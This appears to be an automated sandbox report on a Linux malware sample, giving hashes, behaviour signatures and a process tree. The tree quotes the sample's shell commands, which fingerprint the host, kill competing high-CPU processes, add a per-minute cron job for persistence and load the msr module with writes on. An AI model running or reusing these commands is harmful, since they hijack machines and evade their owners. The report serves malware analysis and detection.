Analysis
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max time kernel
936s -
max time network
933s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20221111-en -
resource tags
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submitted
07-06-2023 16:29
General
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Target
1_noUPX
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Size
6.1MB
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MD5
f9ba8c3372fdaf67422703bbc2208640
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SHA1
5042e58bc2e1d94912d11b11286ad6bccf0e4666
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SHA256
8602c57b152d735fb6e44c5866cd4a837f337d5464641f55e22fd65556e41ee2
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SHA512
d330557ff2bab35181a5b2ce550b11fc4f3dc8d38431ac26989d22b9247df955684fddf97dc11235001852b490704db3af87ed859c8a5bca3573aac66dd1018c
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SSDEEP
98304:HtpIDtRKq6YrRYjfmUyy++++++qq++++u+uwP5R5R5VYjMYjMtpuVE8OLqjbOqw0:H+tAq65cKEpHVGZA2O7TI
Score
7/10
Malware Config
Signatures
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Loads a kernel module 1 IoCs
Loads a Linux kernel module, potentially to achieve persistence
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Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Reads CPU attributes 1 TTPs 7 IoCs
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Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
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Enumerates kernel/hardware configuration 1 TTPs 59 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/1_noUPX/tmp/1_noUPX1⤵
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
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/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵
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/usr/bin/whoamiwhoami3⤵
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/bin/hostnamehostname3⤵
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/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
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/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵
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/bin/psps -A "-ostat,ppid"3⤵
- Reads CPU attributes
- Reads runtime system information
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/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵
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/usr/bin/idid -u3⤵
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/bin/psps x3⤵
- Reads CPU attributes
- Reads runtime system information
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/bin/grepgrep /etc/cron3⤵
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/bin/grepgrep -v grep3⤵
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/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵
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/usr/bin/idid -u3⤵
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/bin/psps aux3⤵
- Reads CPU attributes
- Reads runtime system information
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/bin/grepgrep -v grep3⤵
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/bin/grepgrep -v -- "-bash[[:space:]]*\$"3⤵
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/bin/grepgrep -v /usr/sbin/httpd3⤵
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/usr/bin/awkawk "{if(\$3>30.0) print \$2}"3⤵
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/bin/shsh -c "dir=`pwd 2>/dev/null`;rm -rf \$dir/.cron 2>/dev/null;crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep -v '/tmp/1_noUPX' 2>/dev/null > .cron 2>/dev/null;echo '* * * * * '\$dir/'/tmp/1_noUPX' >> .cron 2>/dev/null; if [ \$(crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep '/tmp/1_noUPX\$' 2>/dev/null | sort 2>/dev/null | uniq 2>/dev/null | wc -l 2>/dev/null) -eq '0' ]; then crontab \$dir/.cron 2>/dev/null; fi;rm -rf \$dir/.cron 2>/dev/null"2⤵
- Writes file to tmp directory
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/bin/rmrm -rf /tmp/.cron3⤵
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/usr/bin/crontabcrontab -l3⤵
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/bin/grepgrep -v grep3⤵
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/bin/grepgrep -v /tmp/1_noUPX3⤵
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/usr/bin/crontabcrontab /tmp/.cron3⤵
- Creates/modifies Cron job
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/bin/rmrm -rf /tmp/.cron3⤵
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/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"2⤵
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/usr/bin/idid -u3⤵
- Reads runtime system information
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/bin/hostnamehostname -I1⤵
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/usr/bin/awkawk "{print \$1}"1⤵
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/bin/catcat /etc/ssh/sshd_config1⤵
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/usr/bin/headhead -n 11⤵
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/bin/grepgrep "Port "1⤵
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/usr/bin/awkawk "{print \"-\"\$2}"1⤵
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/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
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/usr/bin/cutcut -d: -f21⤵
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/bin/sedsed -e "s/^ *//"1⤵
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/bin/sedsed -e "s/\$//"1⤵
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/usr/bin/awkawk "{print \$1}"1⤵
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/usr/bin/awkawk "{print \$4}"1⤵
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/usr/bin/awkawk "{print \$4}"1⤵
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/usr/bin/crontabcrontab -l1⤵
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/bin/grepgrep -v grep1⤵
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/bin/grepgrep "/tmp/1_noUPX\$"1⤵
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/usr/bin/sortsort1⤵
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/usr/bin/uniquniq1⤵
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/usr/bin/wcwc -l1⤵
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/bin/psps aux1⤵
- Reads CPU attributes
- Reads runtime system information
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/bin/grepgrep -v grep1⤵
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/bin/grepgrep -- "-bash[[:space:]]*\$"1⤵
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/usr/bin/awkawk "{if(\$3>30.0) print \$2}"1⤵
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/usr/bin/wcwc -l1⤵
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/bin/shsh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1"1⤵
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/sbin/modprobe/sbin/modprobe msr "allow_writes=on"2⤵
- Enumerates kernel/hardware configuration
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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/tmp/.cronFilesize
28B
MD55a318eca74b0ce6e05c3476169a7d28b
SHA109424172cc03feba1b24f4e2ca06754e5fb84465
SHA2567324d7e99964eb39b1c76a61afb56b90b9a4e716b9ebac0e4cd51f514ce9c168
SHA512f779ea069963b6d591db1c57c0799680d70b201d2e58c6fe194bbcde61739d8da6776cab05b29f949a6c545af29078d501e0c39f4b1c4b87685129b5963e352d
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/var/spool/cron/crontabs/tmp.wbHA2RFilesize
212B
MD5092120f220fb19db0ffc9c0031d65944
SHA18376f587bbca9b4e4403838102a9f8aa4799abee
SHA256fed27bad41bea562448b1bf089cf091b86f63083f6b2526c1261ec1950d1aed4
SHA5121d68dc978cd4e6aa5954790e455207b2836fe6ce90ca343bd0cc7538c09003ff6c0a07bca55071f3df24fb003a40f78e25fac2f401e2794d2ebecbdf31012737